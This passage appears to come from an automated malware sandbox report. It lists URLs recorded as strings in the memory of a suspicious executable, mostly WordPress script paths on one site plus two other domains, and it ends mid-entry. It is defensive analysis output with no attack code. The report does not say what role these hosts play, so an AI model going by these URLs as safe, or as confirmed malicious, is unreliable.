Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-includes/js/dist/i18n.min.js?ver=5e580eb46a90c2b997e6
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-includes/js/jquery/jquery.min.js?ver=3.7.1
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-includes/js/jquery/ui/core.min.js?ver=1.13.3
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-includes/js/jquery/ui/mouse.min.js?ver=1.13.3
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-includes/js/jquery/ui/slider.min.js?ver=1.13.3
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-includes/js/underscore.min.js?ver=1.13.4
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-includes/js/wp-util.min.js?ver=6.6.2
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/xmlrpc.php
Source: yGktPvplJn.exe, 00000000.00000003.2422388769.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432457309.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426850717.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432833174.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2627539836.0000000003490000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462757621.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2468766886.0000000003590000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://2print.com/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://aevga.com/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, 